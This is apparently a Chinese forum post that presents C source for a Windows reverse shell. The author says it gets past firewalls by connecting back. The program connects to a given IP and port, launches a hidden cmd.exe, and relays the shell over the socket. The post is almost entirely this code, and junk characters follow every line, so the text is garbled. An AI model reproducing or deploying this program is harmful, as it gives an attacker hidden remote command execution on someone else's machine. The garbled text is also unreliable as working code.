Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 c4mh EE-  
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/* ============================== gwB\<rzG  
Rebound port in Windows NT XEH}4;C'{  
By wind,2006/7 rNN j0zw>  
===============================*/ _ -..~K.|  
#include 9";sMB}W*  
#include MmoR~~*  
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#pragma comment(lib,"wsock32.lib") [AzO:A  
> 0>  
void OutputShell(); W<b-r^9?s  
SOCKET sClient; ]ya; v '  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RrV>r<Z"Q  
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void main(int argc,char **argv) e{w>%)rcP  
{ :QQlI  
WSADATA stWsaData; Wr~yK? : ]  
int nRet; i775:j~zx0  
SOCKADDR_IN stSaiClient,stSaiServer; @R6 ttx  
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if(argc != 3) hwnJE958L  
{ YlK7;yrq(  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]7GlO9  
return; FiAY\4  
} n> w`26MMp  
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WSAStartup(MAKEWORD(2,2),&stWsaData); )]6hy9<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :py\|  
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stSaiClient.sin_family = AF_INET; 2b@tj 5  
stSaiClient.sin_port = htons(0); z}4L=KR\v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); wTq{sW&  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) iAn'aW\TF  
{ D)b}f`  
printf("Bind Socket Failed!\n"); s'HD{W
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return; _r Y,}\  
} ;@mRo`D`  
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stSaiServer.sin_family = AF_INET; k#>hg#G  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R`'1t3p0i  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \}*k)$
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dbdM"z4  
{ $hrIO+  
printf("Connect Error!"); w`HI]{hE~N  
return; P87# CAN  
} ~W0(1# i  
OutputShell(); [j,txe?n  
} #&.
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void OutputShell() (#\pQ51  
{ TV59(bG.2  
char szBuff[1024]; }%!tT\8  
SECURITY_ATTRIBUTES stSecurityAttributes; ^V*-1r1  
OSVERSIONINFO stOsversionInfo; 0?Q_@Y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -b;|q.!  
STARTUPINFO stStartupInfo; rVSZ.+n  
char *szShell; `u'bRp  
PROCESS_INFORMATION stProcessInformation; ]c)_&{:V  
unsigned long lBytesRead; |+,[``d>"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AG6K daJ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .10y0FL4  
stSecurityAttributes.lpSecurityDescriptor = 0; h:bru:ef  
stSecurityAttributes.bInheritHandle = TRUE; 3)Ac"nuyqH  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T)~9Wac  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j+4H}XyE  
*Ust[u  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); KP"%Rm`XN  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "UVFU-Z  
stStartupInfo.wShowWindow = SW_HIDE; _`-1aA&n~  
stStartupInfo.hStdInput = hReadPipe; l1=JrpCan  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d' >>E  
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GetVersionEx(&stOsversionInfo); !BIOY!M  

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switch(stOsversionInfo.dwPlatformId) -Sv"gLB  
{ o:q1beU  
case 1: t~7V{ xk  
szShell = "command.com";
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break; ?`_jFj+<\S  
default: yCz|{=7"j  
szShell = "cmd.exe"; d4?d4;{  
break; RIn9(r  
} FqFapRX66Z  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $4SzUZ0  
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send(sClient,szMsg,77,0); e$)300 o  
while(1) 6X2PYJJZ  
{ uGU;Y'W)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); * *H&+T/B  
if(lBytesRead) $:s`4N^  
{ }R4c  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cE'L% Z  
send(sClient,szBuff,lBytesRead,0); y3u+_KY-  
} 0U/,aHvhP  
else B@YyQ'  
{ #K\?E.9h  
lBytesRead=recv(sClient,szBuff,1024,0); !9iGg*0dx  
if(lBytesRead<=0) break; /$N~O1"0)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^eYqll/U  
} \G@wp5  
} Q^Ql
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return; I`(l*U  
}